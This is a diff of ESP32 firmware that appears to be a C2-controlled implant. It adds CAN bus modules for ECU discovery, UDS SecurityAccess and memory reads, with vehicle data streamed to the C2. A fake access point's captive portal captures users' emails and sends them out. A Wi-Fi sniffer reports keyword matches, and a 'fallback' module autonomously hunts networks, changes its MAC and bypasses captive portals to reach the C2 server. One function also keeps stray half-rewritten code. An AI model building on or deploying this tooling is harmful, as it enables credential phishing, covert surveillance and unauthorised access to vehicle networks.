/* Read Diagnostic Trouble Codes (Mode 03). Returns formatted string length. */
int obd_read_dtcs(char *dtc_buf, size_t cap);
/* Continuous monitoring: stream PIDs to C2 at interval */
void obd_monitor_start(const uint8_t *pids, int pid_count,
int interval_ms, const char *request_id);
void obd_monitor_stop(void);
bool obd_monitor_is_running(void);
#ifdef __cplusplus
}
#endif

View File

@ -0,0 +1,343 @@
/*
* canbus_uds.c
* UDS (ISO 14229) diagnostic services implementation.
*
* Each function builds a UDS payload, sends via ISO-TP,
* parses the response (positive = SID+0x40, negative = 0x7F+SID+NRC).
* Handles NRC 0x78 (ResponsePending) with extended timeout.
*/
#include "sdkconfig.h"
#if defined(CONFIG_MODULE_CANBUS) && defined(CONFIG_CANBUS_UDS)
#include <string.h>
#include "esp_log.h"
#include "freertos/FreeRTOS.h"
#include "freertos/task.h"
#include "canbus_uds.h"
#include "canbus_isotp.h"
#include "canbus_driver.h"
#include "utils.h"
#define TAG "CAN_UDS"
/* Max retries for ResponsePending (NRC 0x78) */
#define MAX_PENDING_RETRIES 10
#define PENDING_TIMEOUT_MS 5000
/* ============================================================
* Internal: UDS request with ResponsePending handling
* ============================================================ */
static int uds_transact(uds_ctx_t *ctx,
const uint8_t *req, size_t req_len,
uint8_t *resp, size_t resp_cap, size_t *resp_len)
{
int timeout = ctx->timeout_ms > 0 ? ctx->timeout_ms : 2000;
for (int retry = 0; retry <= MAX_PENDING_RETRIES; retry++) {
int t = (retry == 0) ? timeout : PENDING_TIMEOUT_MS;
isotp_status_t st = isotp_request(
ctx->tx_id, ctx->rx_id,
req, req_len,
resp, resp_cap, resp_len,
t
);
if (st == ISOTP_TIMEOUT) {
if (retry > 0) {
ESP_LOGW(TAG, "ResponsePending timeout after %d retries", retry);
}
return -1;
}
if (st != ISOTP_OK) return -1;
/* Check for Negative Response */
if (*resp_len >= 3 && resp[0] == 0x7F) {
uint8_t nrc = resp[2];
/* ResponsePending — ECU needs more time */
if (nrc == UDS_NRC_RESPONSE_PENDING) {
ESP_LOGI(TAG, "ResponsePending from 0x%03lX (retry %d/%d)",
(unsigned long)ctx->rx_id, retry + 1, MAX_PENDING_RETRIES);
/* Re-listen for the real response (no re-send needed) */
*resp_len = 0;
isotp_status_t st2 = isotp_recv(
ctx->rx_id, resp, resp_cap, resp_len, PENDING_TIMEOUT_MS
);
if (st2 == ISOTP_TIMEOUT) continue; /* Try again */
if (st2 != ISOTP_OK) return -1;
/* Check if we got another NRC 0x78 or the real response */
if (*resp_len >= 3 && resp[0] == 0x7F && resp[2] == UDS_NRC_RESPONSE_PENDING) {
continue; /* Still pending */
}
/* Got the real response, fall through to return */
}
/* Other negative responses */
if (resp[0] == 0x7F && resp[2] != UDS_NRC_RESPONSE_PENDING) {
ESP_LOGW(TAG, "NRC 0x%02X (%s) for SID 0x%02X from 0x%03lX",
resp[2], uds_nrc_name(resp[2]), resp[1],
(unsigned long)ctx->rx_id);
return -1;
}
}
/* Positive response or parsed NRC */
return (int)*resp_len;
}
return -1;
}
/* ============================================================
* Public API
* ============================================================ */
int uds_diagnostic_session(uds_ctx_t *ctx, uint8_t session_type)
{
uint8_t req[2] = { UDS_DIAG_SESSION_CTRL, session_type };
uint8_t resp[64];
size_t resp_len = 0;
int ret = uds_transact(ctx, req, 2, resp, sizeof(resp), &resp_len);
if (ret < 0) return -1;
/* Positive response: 0x50 + session type */
if (resp_len >= 2 && resp[0] == (UDS_DIAG_SESSION_CTRL + 0x40)) {
ctx->session = session_type;
return 0;
}
return -1;
}
int uds_tester_present(uds_ctx_t *ctx)
{
uint8_t req[2] = { UDS_TESTER_PRESENT, 0x00 }; /* subFunction = 0 */
uint8_t resp[16];
size_t resp_len = 0;
int ret = uds_transact(ctx, req, 2, resp, sizeof(resp), &resp_len);
if (ret < 0) return -1;
if (resp_len >= 2 && resp[0] == (UDS_TESTER_PRESENT + 0x40)) {
return 0;
}
return -1;
}
int uds_read_data_by_id(uds_ctx_t *ctx, uint16_t did,
uint8_t *out, size_t cap)
{
uint8_t req[3] = {
UDS_READ_DATA_BY_ID,
(uint8_t)(did >> 8),
(uint8_t)(did & 0xFF),
};
uint8_t resp[512];
size_t resp_len = 0;
int ret = uds_transact(ctx, req, 3, resp, sizeof(resp), &resp_len);
if (ret < 0) return -1;
/* Positive: 0x62 + DID (2 bytes) + data */
if (resp_len >= 3 && resp[0] == (UDS_READ_DATA_BY_ID + 0x40)) {
size_t data_len = resp_len - 3;
if (data_len > cap) data_len = cap;
memcpy(out, &resp[3], data_len);
return (int)data_len;
}
return -1;
}
int uds_security_access_seed(uds_ctx_t *ctx, uint8_t level,
uint8_t *seed, size_t *seed_len)
{
/* Seed request: odd subFunction (level = 0x01, 0x03, ...) */
uint8_t req[2] = { UDS_SECURITY_ACCESS, level };
uint8_t resp[64];
size_t resp_len = 0;
int ret = uds_transact(ctx, req, 2, resp, sizeof(resp), &resp_len);
if (ret < 0) return -1;
/* Positive: 0x67 + level + seed bytes */
if (resp_len >= 2 && resp[0] == (UDS_SECURITY_ACCESS + 0x40)) {
size_t slen = resp_len - 2;
if (seed && seed_len) {
memcpy(seed, &resp[2], slen);
*seed_len = slen;
}
return 0;
}
return -1;
}
int uds_security_access_key(uds_ctx_t *ctx, uint8_t level,
const uint8_t *key, size_t key_len)
{
/* Key send: even subFunction (level+1 = 0x02, 0x04, ...) */
uint8_t req[34] = { UDS_SECURITY_ACCESS, (uint8_t)(level + 1) };
if (key_len > 32) return -1;
memcpy(&req[2], key, key_len);
uint8_t resp[16];
size_t resp_len = 0;
int ret = uds_transact(ctx, req, 2 + key_len, resp, sizeof(resp), &resp_len);
if (ret < 0) return -1;
if (resp_len >= 2 && resp[0] == (UDS_SECURITY_ACCESS + 0x40)) {
ctx->security_unlocked = true;
return 0;
}
return -1;
}
int uds_read_memory(uds_ctx_t *ctx, uint32_t addr, uint16_t size,
uint8_t *out)
{
/* addressAndLengthFormatIdentifier: 0x24 = 2 bytes size, 4 bytes addr */
uint8_t req[7] = {
UDS_READ_MEM_BY_ADDR,
0x24, /* format: 2+4 */
(uint8_t)(addr >> 24),
(uint8_t)(addr >> 16),
(uint8_t)(addr >> 8),
(uint8_t)(addr),
(uint8_t)(size >> 8),
};
/* Append size low byte */
uint8_t req_full[8];
memcpy(req_full, req, 7);
req_full[7] = (uint8_t)(size & 0xFF);
/* Wait — need proper format. Let's redo:
* SID(1) + addressAndLengthFormatId(1) + memAddr(4) + memSize(2) = 8 bytes */
uint8_t request[8] = {
UDS_READ_MEM_BY_ADDR,
0x24,
(uint8_t)(addr >> 24),
(uint8_t)(addr >> 16),
(uint8_t)(addr >> 8),
(uint8_t)(addr),
(uint8_t)(size >> 8),
(uint8_t)(size),
};
uint8_t resp[512];
size_t resp_len = 0;
int ret = uds_transact(ctx, request, 8, resp, sizeof(resp), &resp_len);
if (ret < 0) return -1;
/* Positive: 0x63 + data */
if (resp_len >= 1 && resp[0] == (UDS_READ_MEM_BY_ADDR + 0x40)) {
size_t data_len = resp_len - 1;
if (out) memcpy(out, &resp[1], data_len);
return (int)data_len;
}
return -1;
}
int uds_raw_request(uds_ctx_t *ctx,
const uint8_t *req, size_t req_len,
uint8_t *resp, size_t resp_cap, size_t *resp_len)
{
return uds_transact(ctx, req, req_len, resp, resp_cap, resp_len);
}
/* ============================================================
* ECU Discovery
* ============================================================ */
int uds_scan_ecus(uint32_t *found_ids, int max_ecus)
{
int found = 0;
/* Standard UDS range: 0x7E0-0x7E7 (physical addressing) */
for (uint32_t tx = 0x7E0; tx <= 0x7E7 && found < max_ecus; tx++) {
uint32_t rx = tx + 0x08; /* Response IDs: 0x7E8-0x7EF */
uds_ctx_t ctx = {
.tx_id = tx,
.rx_id = rx,
.timeout_ms = 200, /* Short timeout for scan */
.session = UDS_SESSION_DEFAULT,
.security_unlocked = false,
};
if (uds_tester_present(&ctx) == 0) {
ESP_LOGI(TAG, "ECU found: TX=0x%03lX RX=0x%03lX",
(unsigned long)tx, (unsigned long)rx);
found_ids[found++] = tx;
}
}
/* Extended range: 0x700-0x7DF */
for (uint32_t tx = 0x700; tx <= 0x7DF && found < max_ecus; tx++) {
/* Skip standard range (already scanned) */
if (tx >= 0x7E0) break;
uint32_t rx = tx + 0x08;
uds_ctx_t ctx = {
.tx_id = tx,
.rx_id = rx,
.timeout_ms = 100,
.session = UDS_SESSION_DEFAULT,
.security_unlocked = false,
};
if (uds_tester_present(&ctx) == 0) {
ESP_LOGI(TAG, "ECU found: TX=0x%03lX RX=0x%03lX",
(unsigned long)tx, (unsigned long)rx);
found_ids[found++] = tx;
}
/* Yield every 16 IDs to avoid watchdog */
if ((tx & 0x0F) == 0x0F) {
vTaskDelay(pdMS_TO_TICKS(1));
}
}
return found;
}
/* ============================================================
* NRC Name Lookup
* ============================================================ */
const char *uds_nrc_name(uint8_t nrc)
{
switch (nrc) {
case 0x10: return "generalReject";
case 0x11: return "serviceNotSupported";
case 0x12: return "subFunctionNotSupported";
case 0x13: return "incorrectMessageLength";
case 0x14: return "responseTooLong";
case 0x21: return "busyRepeatRequest";
case 0x22: return "conditionsNotCorrect";
case 0x24: return "requestSequenceError";
case 0x25: return "noResponseFromSubnet";
case 0x26: return "failurePreventsExecution";
case 0x31: return "requestOutOfRange";
case 0x33: return "securityAccessDenied";
case 0x35: return "invalidKey";
case 0x36: return "exceededNumberOfAttempts";
case 0x37: return "requiredTimeDelayNotExpired";
case 0x70: return "uploadDownloadNotAccepted";
case 0x71: return "transferDataSuspended";
case 0x72: return "generalProgrammingFailure";
case 0x73: return "wrongBlockSequenceCounter";
case 0x78: return "responsePending";
case 0x7E: return "subFunctionNotSupportedInActiveSession";
case 0x7F: return "serviceNotSupportedInActiveSession";
default: return "unknown";
}
}
#endif /* CONFIG_MODULE_CANBUS && CONFIG_CANBUS_UDS */

View File

@ -0,0 +1,101 @@
/*
* canbus_uds.h
* UDS (ISO 14229) diagnostic services over ISO-TP.
*/
#pragma once
#include <stdint.h>
#include <stddef.h>
#ifdef __cplusplus
extern "C" {
#endif
/* ============================================================
* UDS Service IDs
* ============================================================ */
#define UDS_DIAG_SESSION_CTRL 0x10
#define UDS_ECU_RESET 0x11
#define UDS_CLEAR_DTC 0x14
#define UDS_READ_DTC_INFO 0x19
#define UDS_READ_DATA_BY_ID 0x22
#define UDS_READ_MEM_BY_ADDR 0x23
#define UDS_SECURITY_ACCESS 0x27
#define UDS_COMM_CTRL 0x28
#define UDS_WRITE_DATA_BY_ID 0x2E
#define UDS_IO_CTRL 0x2F
#define UDS_ROUTINE_CTRL 0x31
#define UDS_REQUEST_DOWNLOAD 0x34
#define UDS_REQUEST_UPLOAD 0x35
#define UDS_TRANSFER_DATA 0x36
#define UDS_TRANSFER_EXIT 0x37
#define UDS_TESTER_PRESENT 0x3E
/* Session types */
#define UDS_SESSION_DEFAULT 0x01
#define UDS_SESSION_PROGRAMMING 0x02
#define UDS_SESSION_EXTENDED 0x03
/* Negative Response Codes */
#define UDS_NRC_GENERAL_REJECT 0x10
#define UDS_NRC_SERVICE_NOT_SUPPORTED 0x11
#define UDS_NRC_SUBFUNCTION_NOT_SUPPORTED 0x12
#define UDS_NRC_INCORRECT_LENGTH 0x13
#define UDS_NRC_RESPONSE_PENDING 0x78
#define UDS_NRC_SECURITY_ACCESS_DENIED 0x33
#define UDS_NRC_INVALID_KEY 0x35
#define UDS_NRC_EXCEEDED_ATTEMPTS 0x36
#define UDS_NRC_CONDITIONS_NOT_MET 0x22
/* ============================================================
* UDS Context
* ============================================================ */
typedef struct {
uint32_t tx_id; /* Request CAN ID (e.g. 0x7E0) */
uint32_t rx_id; /* Response CAN ID (e.g. 0x7E8) */
int timeout_ms; /* Response timeout */
uint8_t session; /* Current session type */
bool security_unlocked;
} uds_ctx_t;
/* ============================================================
* High-Level UDS API
* ============================================================ */
/* DiagnosticSessionControl (0x10) */
int uds_diagnostic_session(uds_ctx_t *ctx, uint8_t session_type);
/* TesterPresent (0x3E) — keep-alive */
int uds_tester_present(uds_ctx_t *ctx);
/* ReadDataByIdentifier (0x22) — returns data length or -1 */
int uds_read_data_by_id(uds_ctx_t *ctx, uint16_t did,
uint8_t *out, size_t cap);
/* SecurityAccess (0x27) — request seed */
int uds_security_access_seed(uds_ctx_t *ctx, uint8_t level,
uint8_t *seed, size_t *seed_len);
/* SecurityAccess (0x27) — send key */
int uds_security_access_key(uds_ctx_t *ctx, uint8_t level,
const uint8_t *key, size_t key_len);
/* ReadMemoryByAddress (0x23) — returns data length or -1 */
int uds_read_memory(uds_ctx_t *ctx, uint32_t addr, uint16_t size,
uint8_t *out);
/* Raw UDS request — returns response length or -1 */
int uds_raw_request(uds_ctx_t *ctx,
const uint8_t *req, size_t req_len,
uint8_t *resp, size_t resp_cap, size_t *resp_len);
/* ECU discovery: send TesterPresent to 0x7E0-0x7EF, report responders */
int uds_scan_ecus(uint32_t *found_ids, int max_ecus);
/* Get human-readable NRC name */
const char *uds_nrc_name(uint8_t nrc);
#ifdef __cplusplus
}
#endif

File diff suppressed because it is too large Load Diff

View File

@ -0,0 +1,7 @@
/*
* cmd_canbus.h
* CAN bus module C2 command interface.
*/
#pragma once
void mod_canbus_register_commands(void);

View File

@ -1,4 +1,4 @@
idf_component_register(SRCS "cmd_fakeAP.c" "mod_web_server.c" "mod_fakeAP.c" "mod_netsniff.c"
INCLUDE_DIRS .
REQUIRES esp_http_server
PRIV_REQUIRES esp_netif lwip esp_wifi esp_event nvs_flash core command)
PRIV_REQUIRES esp_netif lwip esp_wifi esp_event nvs_flash core)

View File

@ -6,10 +6,10 @@
#include <string.h>
#include <stdlib.h>
#include <stdbool.h>
#include <stdatomic.h>
#include "esp_log.h"
#include "command.h"
#include "fakeAP_utils.h"
#include "utils.h"
@ -18,7 +18,7 @@
/* ============================================================
* State
* ============================================================ */
static bool fakeap_running = false;
atomic_bool fakeap_active = false;
static bool portal_running = false;
static bool sniffer_running = false;
@ -40,7 +40,7 @@ static int cmd_fakeap_start(
return -1;
}
if (fakeap_running) {
if (fakeap_active) {
msg_error(TAG, "FakeAP already running", req);
return -1;
}
@ -66,7 +66,7 @@ static int cmd_fakeap_start(
}
start_access_point(ssid, password, open);
fakeap_running = true;
fakeap_active = true;
msg_info(TAG, "FakeAP started", req);
return 0;
@ -85,7 +85,7 @@ static int cmd_fakeap_stop(
(void)argv;
(void)ctx;
if (!fakeap_running) {
if (!fakeap_active) {
msg_error(TAG, "FakeAP not running", req);
return -1;
}
@ -101,7 +101,7 @@ static int cmd_fakeap_stop(
}
stop_access_point();
fakeap_running = false;
fakeap_active = false;
msg_info(TAG, "FakeAP stopped", req);
return 0;
@ -127,7 +127,7 @@ static int cmd_fakeap_status(
" Portal: %s\n"
" Sniffer: %s\n"
" Authenticated clients: %d",
fakeap_running ? "ON" : "OFF",
fakeap_active ? "ON" : "OFF",
portal_running ? "ON" : "OFF",
sniffer_running ? "ON" : "OFF",
authenticated_count
@ -150,7 +150,7 @@ static int cmd_fakeap_clients(
(void)argv;
(void)ctx;
if (!fakeap_running) {
if (!fakeap_active) {
msg_error(TAG, "FakeAP not running", req);
return -1;
}
@ -172,7 +172,7 @@ static int cmd_fakeap_portal_start(
(void)argv;
(void)ctx;
if (!fakeap_running) {
if (!fakeap_active) {
msg_error(TAG, "Start FakeAP first", req);
return -1;
}

View File

@ -6,6 +6,7 @@
#include "fakeAP_utils.h"
#include "utils.h"
#include "event_format.h"
static const char *TAG = "MODULE_NET_SNIFFER";
@ -57,7 +58,7 @@ static void wifi_sniffer_packet_handler(
if (payload_len <= 0)
return;
char printable[256];
char printable[128];
extract_printable(payload, payload_len, printable, sizeof(printable));
if (!printable[0])
return;
@ -74,12 +75,22 @@ static void wifi_sniffer_packet_handler(
if ((sniff_counter++ % 20) != 0)
return;
msg_data(
TAG,
printable,
strlen(printable),
true, /* eof */
NULL /* request_id */
/* Extract source MAC from WiFi frame (addr2 = transmitter) */
char src_mac[18];
snprintf(src_mac, sizeof(src_mac),
"%02x:%02x:%02x:%02x:%02x:%02x",
frame[10], frame[11], frame[12],
frame[13], frame[14], frame[15]);
char detail[128];
snprintf(detail, sizeof(detail),
"keyword='%s' payload='%.64s'",
keywords[i], printable);
event_send(
"WIFI_PROBE", "MEDIUM",
src_mac, "0.0.0.0",
0, 0, detail, NULL
);
return;
}

View File

@ -10,6 +10,7 @@
#include "fakeAP_utils.h"
#include "utils.h"
#include "event_format.h"
#define TAG "CAPTIVE_PORTAL"
@ -126,13 +127,14 @@ static esp_err_t post_handler(httpd_req_t *req)
char *end = strchr(email, '&');
if (end) *end = '\0';
/* Send captured email (NOUVELLE SIGNATURE) */
msg_data(
TAG,
email,
strlen(email),
true, /* eof */
NULL
/* Send captured credential as HP| event */
char detail[128];
snprintf(detail, sizeof(detail), "user='%s'", email);
event_send(
"SVC_AUTH_ATTEMPT", "HIGH",
"00:00:00:00:00:00",
ip4addr_ntoa(&client_ip),
0, 80, detail, NULL
);
mark_authenticated(client_ip);

View File

@ -0,0 +1,5 @@
idf_component_register(
SRCS cmd_fallback.c fb_config.c fb_hunt.c fb_stealth.c fb_captive.c
INCLUDE_DIRS .
REQUIRES core nvs_flash lwip esp_wifi freertos esp_timer
)

View File

@ -0,0 +1,172 @@
/*
* cmd_fallback.c
* Fallback resilient connectivity 3 C2 commands for pre-configuration.
*
* The hunt itself is fully autonomous (no C2 command to start it).
* These commands are for status + pre-loading known networks while connected.
*/
#include "sdkconfig.h"
#include "cmd_fallback.h"
#ifdef CONFIG_MODULE_FALLBACK
#include <string.h>
#include <stdio.h>
#include "esp_log.h"
#include "utils.h"
#include "fb_config.h"
#include "fb_hunt.h"
#include "fb_stealth.h"
#define TAG "FB"
/* ============================================================
* COMMAND: fb_status
* Report state, SSID, method, MAC, stored networks count.
* ============================================================ */
static int cmd_fb_status(int argc, char **argv, const char *req, void *ctx)
{
(void)argc; (void)argv; (void)ctx;
fb_state_t state = fb_hunt_get_state();
uint8_t mac[6];
fb_stealth_get_current_mac(mac);
char buf[256];
snprintf(buf, sizeof(buf),
"state=%s ssid=%s method=%s mac=%02X:%02X:%02X:%02X:%02X:%02X"
" nets=%d c2_fb=%d",
fb_hunt_state_name(state),
fb_hunt_connected_ssid(),
fb_hunt_connected_method(),
mac[0], mac[1], mac[2], mac[3], mac[4], mac[5],
fb_config_net_count(),
fb_config_c2_count());
msg_info(TAG, buf, req);
return 0;
}
/* ============================================================
* COMMAND: fb_net_add <ssid> [pass]
* Add/update a known network. Pass "" to remove.
* ============================================================ */
static int cmd_fb_net_add(int argc, char **argv, const char *req, void *ctx)
{
(void)ctx;
if (argc < 1) {
msg_error(TAG, "usage: fb_net_add <ssid> [pass]", req);
return -1;
}
const char *ssid = argv[0];
const char *pass = (argc >= 2) ? argv[1] : "";
/* Empty string for pass means "remove" */
if (argc >= 2 && strcmp(pass, "\"\"") == 0) {
if (fb_config_net_remove(ssid)) {
char buf[96];
snprintf(buf, sizeof(buf), "Removed network '%s'", ssid);
msg_info(TAG, buf, req);
} else {
msg_error(TAG, "Network not found", req);
}
return 0;
}
if (fb_config_net_add(ssid, pass)) {
char buf[96];
snprintf(buf, sizeof(buf), "Added network '%s'", ssid);
msg_info(TAG, buf, req);
} else {
msg_error(TAG, "Failed to add network (full?)", req);
}
return 0;
}
/* ============================================================
* COMMAND: fb_net_list
* List known networks.
* ============================================================ */
static int cmd_fb_net_list(int argc, char **argv, const char *req, void *ctx)
{
(void)argc; (void)argv; (void)ctx;
fb_network_t nets[CONFIG_FB_MAX_KNOWN_NETWORKS];
int count = fb_config_net_list(nets, CONFIG_FB_MAX_KNOWN_NETWORKS);
if (count == 0) {
msg_info(TAG, "No known networks", req);
return 0;
}
for (int i = 0; i < count; i++) {
char line[128];
snprintf(line, sizeof(line), "[%d] ssid='%s' pass=%s",
i, nets[i].ssid,
nets[i].pass[0] ? "***" : "(open)");
msg_data(TAG, line, strlen(line), (i == count - 1), req);
}
return 0;
}
/* ============================================================
* Command table
* ============================================================ */
static const command_t fb_cmds[] = {
{
.name = "fb_status",
.sub = NULL,
.help = "Fallback state, MAC, method, config",
.min_args = 0,
.max_args = 0,
.handler = (command_handler_t)cmd_fb_status,
.ctx = NULL,
.async = false,
},
{
.name = "fb_net_add",
.sub = NULL,
.help = "Add known network: fb_net_add <ssid> [pass]",
.min_args = 1,
.max_args = 2,
.handler = (command_handler_t)cmd_fb_net_add,
.ctx = NULL,
.async = false,
},
{
.name = "fb_net_list",
.sub = NULL,
.help = "List known networks",
.min_args = 0,
.max_args = 0,
.handler = (command_handler_t)cmd_fb_net_list,
.ctx = NULL,
.async = false,
},
};
/* ============================================================
* Registration
* ============================================================ */
void mod_fallback_register_commands(void)
{
ESPILON_LOGI_PURPLE(TAG, "Registering fallback commands");
fb_config_init();
fb_hunt_init();
for (size_t i = 0; i < sizeof(fb_cmds) / sizeof(fb_cmds[0]); i++) {
command_register(&fb_cmds[i]);
}
}
#else /* !CONFIG_MODULE_FALLBACK */
void mod_fallback_register_commands(void) { /* empty */ }
#endif /* CONFIG_MODULE_FALLBACK */

View File

@ -0,0 +1,8 @@
/*
* cmd_fallback.h
* Fallback resilient connectivity module.
* Compiled as empty when CONFIG_MODULE_FALLBACK is not set.
*/
#pragma once
void mod_fallback_register_commands(void);

View File

@ -0,0 +1,271 @@
/*
* fb_captive.c
* Captive portal detection and bypass strategies.
*
* Detection: HTTP GET to connectivitycheck.gstatic.com/generate_204
* - 204 = no portal (internet open)
* - 200/302 = captive portal detected
*
* Bypass strategies (in order):
* 1. Direct C2 port often not intercepted by portals
* 2. POST accept parse 302 redirect, GET portal accept page
* 3. Wait + retry some portals open after DNS traffic
*/
#include "sdkconfig.h"
#include "fb_captive.h"
#ifdef CONFIG_MODULE_FALLBACK
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include "esp_log.h"
#include "lwip/sockets.h"
#include "lwip/netdb.h"
#include "freertos/FreeRTOS.h"
#include "freertos/task.h"
#include "utils.h"
static const char *TAG = "FB_CAPTIVE";
#define CAPTIVE_TIMEOUT_S 5
#define CAPTIVE_RX_BUF 512
/* ============================================================
* Raw HTTP request to check connectivity
* ============================================================ */
static bool resolve_host(const char *host, struct in_addr *out)
{
struct addrinfo hints = {0};
hints.ai_family = AF_INET;
hints.ai_socktype = SOCK_STREAM;
struct addrinfo *res = NULL;
int err = lwip_getaddrinfo(host, NULL, &hints, &res);
if (err != 0 || !res) {
ESP_LOGW(TAG, "DNS resolve failed for '%s'", host);
return false;
}
struct sockaddr_in *addr = (struct sockaddr_in *)res->ai_addr;
*out = addr->sin_addr;
lwip_freeaddrinfo(res);
return true;
}
static int http_get_status(const char *host, int port, const char *path,
char *location_out, size_t location_cap)
{
struct in_addr ip;
if (!resolve_host(host, &ip)) return 0;
int s = lwip_socket(AF_INET, SOCK_STREAM, 0);
if (s < 0) return 0;
struct timeval tv = { .tv_sec = CAPTIVE_TIMEOUT_S, .tv_usec = 0 };
lwip_setsockopt(s, SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv));
lwip_setsockopt(s, SOL_SOCKET, SO_SNDTIMEO, &tv, sizeof(tv));
struct sockaddr_in addr = {0};
addr.sin_family = AF_INET;
addr.sin_port = htons(port);
addr.sin_addr = ip;
if (lwip_connect(s, (struct sockaddr *)&addr, sizeof(addr)) != 0) {
lwip_close(s);
return 0;
}
char req[256];
int req_len = snprintf(req, sizeof(req),
"GET %s HTTP/1.0\r\n"
"Host: %s\r\n"
"Connection: close\r\n"
"User-Agent: Mozilla/5.0\r\n"
"\r\n",
path, host);
if (lwip_write(s, req, req_len) <= 0) {
lwip_close(s);
return 0;
}
char buf[CAPTIVE_RX_BUF];
int total = 0;
int len;
while (total < (int)sizeof(buf) - 1) {
len = lwip_recv(s, buf + total, sizeof(buf) - 1 - total, 0);
if (len <= 0) break;
total += len;
buf[total] = '\0';
if (strstr(buf, "\r\n\r\n")) break;
}
lwip_close(s);
if (total == 0) return 0;
buf[total] = '\0';
int status = 0;
char *sp = strchr(buf, ' ');
if (sp) {
status = atoi(sp + 1);
}
if (location_out && location_cap > 0) {
location_out[0] = '\0';
char *loc = strstr(buf, "Location: ");
if (!loc) loc = strstr(buf, "location: ");
if (loc) {
loc += 10;
char *end = strstr(loc, "\r\n");
if (end) {
size_t copy_len = end - loc;
if (copy_len >= location_cap) copy_len = location_cap - 1;
memcpy(location_out, loc, copy_len);
location_out[copy_len] = '\0';
}
}
}
return status;
}
/* ============================================================
* Captive portal detection
* ============================================================ */
fb_portal_status_t fb_captive_detect(void)
{
ESP_LOGI(TAG, "Checking for captive portal...");
int status = http_get_status(
"connectivitycheck.gstatic.com", 80,
"/generate_204", NULL, 0);
if (status == 204) {
ESP_LOGI(TAG, "No captive portal (got 204)");
return FB_PORTAL_NONE;
}
if (status == 200 || status == 302 || status == 301) {
ESP_LOGW(TAG, "Captive portal detected (HTTP %d)", status);
return FB_PORTAL_DETECTED;
}
if (status == 0) {
status = http_get_status(
"captive.apple.com", 80,
"/hotspot-detect.html", NULL, 0);
if (status == 200) {
ESP_LOGW(TAG, "Apple check returned 200 — may be portal");
return FB_PORTAL_DETECTED;
}
ESP_LOGW(TAG, "Connectivity check failed (no response)");
return FB_PORTAL_UNKNOWN;
}
ESP_LOGW(TAG, "Unexpected status %d — assuming portal", status);
return FB_PORTAL_DETECTED;
}
/* ============================================================
* Captive portal bypass
* ============================================================ */
bool fb_captive_bypass(void)
{
ESP_LOGI(TAG, "Attempting captive portal bypass...");
/* Strategy 1: Direct C2 port */
{
int s = lwip_socket(AF_INET, SOCK_STREAM, 0);
if (s >= 0) {
struct timeval tv = { .tv_sec = CAPTIVE_TIMEOUT_S, .tv_usec = 0 };
lwip_setsockopt(s, SOL_SOCKET, SO_SNDTIMEO, &tv, sizeof(tv));
struct sockaddr_in addr = {0};
addr.sin_family = AF_INET;
addr.sin_port = htons(CONFIG_SERVER_PORT);
addr.sin_addr.s_addr = inet_addr(CONFIG_SERVER_IP);
if (lwip_connect(s, (struct sockaddr *)&addr, sizeof(addr)) == 0) {
lwip_close(s);
ESP_LOGI(TAG, "Bypass: direct C2 port %d reachable!", CONFIG_SERVER_PORT);
return true;
}
lwip_close(s);
}
ESP_LOGW(TAG, "Bypass strategy 1 (direct C2 port) failed");
}
/* Strategy 2: Follow redirect + GET accept page */
{
char location[256] = {0};
int status = http_get_status(
"connectivitycheck.gstatic.com", 80,
"/generate_204", location, sizeof(location));
if ((status == 302 || status == 301) && location[0]) {
ESP_LOGI(TAG, "Portal redirect to: %s", location);
char *host_start = strstr(location, "://");
if (host_start) {
host_start += 3;
char *path_start = strchr(host_start, '/');
char host_buf[64] = {0};
if (path_start) {
size_t hlen = path_start - host_start;
if (hlen >= sizeof(host_buf)) hlen = sizeof(host_buf) - 1;
memcpy(host_buf, host_start, hlen);
} else {
strncpy(host_buf, host_start, sizeof(host_buf) - 1);
path_start = "/";
}
int p_status = http_get_status(host_buf, 80, path_start, NULL, 0);
ESP_LOGI(TAG, "Portal page status: %d", p_status);
vTaskDelay(pdMS_TO_TICKS(2000));
int check = http_get_status(
"connectivitycheck.gstatic.com", 80,
"/generate_204", NULL, 0);
if (check == 204) {
ESP_LOGI(TAG, "Bypass: portal auto-accepted!");
return true;
}
}
}
ESP_LOGW(TAG, "Bypass strategy 2 (POST accept) failed");
}
/* Strategy 3: Wait + retry */
{
ESP_LOGI(TAG, "Bypass strategy 3: waiting 10s...");
vTaskDelay(pdMS_TO_TICKS(10000));
int status = http_get_status(
"connectivitycheck.gstatic.com", 80,
"/generate_204", NULL, 0);
if (status == 204) {
ESP_LOGI(TAG, "Bypass: portal opened after wait!");
return true;
}
ESP_LOGW(TAG, "Bypass strategy 3 (wait) failed");
}
ESP_LOGW(TAG, "All captive portal bypass strategies failed");
return false;
}
#else /* !CONFIG_MODULE_FALLBACK */
fb_portal_status_t fb_captive_detect(void) { return FB_PORTAL_UNKNOWN; }
bool fb_captive_bypass(void) { return false; }
#endif /* CONFIG_MODULE_FALLBACK */

View File

@ -0,0 +1,24 @@
/*
* fb_captive.h
* Captive portal detection and bypass strategies.
*/
#pragma once
#include <stdbool.h>
#ifdef __cplusplus
extern "C" {
#endif
typedef enum {
FB_PORTAL_NONE, /* No captive portal — internet is open */
FB_PORTAL_DETECTED, /* Captive portal detected (302 or non-204) */
FB_PORTAL_UNKNOWN, /* Couldn't determine (connection failed) */
} fb_portal_status_t;
fb_portal_status_t fb_captive_detect(void);
bool fb_captive_bypass(void);
#ifdef __cplusplus
}
#endif

View File

@ -0,0 +1,454 @@
/*
* fb_config.c
* NVS-backed storage for known WiFi networks and C2 fallback addresses.
* Namespace: "fb_cfg" auto-migrates from old "rt_cfg" on first boot.
*/
#include "sdkconfig.h"
#include "fb_config.h"
#ifdef CONFIG_MODULE_FALLBACK
#include <string.h>
#include <stdio.h>
#include "nvs_flash.h"
#include "nvs.h"
#include "esp_log.h"
#include "esp_wifi.h"
static const char *TAG = "FB_CFG";
static const char *NVS_NS = "fb_cfg";
/* ============================================================
* NVS migration from old rt_cfg namespace
* ============================================================ */
static void migrate_from_rt_cfg(void)
{
nvs_handle_t old_h, new_h;
if (nvs_open("rt_cfg", NVS_READONLY, &old_h) != ESP_OK)
return; /* No old data */
if (nvs_open(NVS_NS, NVS_READWRITE, &new_h) != ESP_OK) {
nvs_close(old_h);
return;
}
/* Check if already migrated */
int32_t new_count = -1;
if (nvs_get_i32(new_h, "fb_count", &new_count) == ESP_OK && new_count >= 0) {
nvs_close(old_h);
nvs_close(new_h);
return;
}
/* Copy network count */
int32_t old_count = 0;
nvs_get_i32(old_h, "rt_count", &old_count);
nvs_set_i32(new_h, "fb_count", old_count);
/* Copy each network entry */
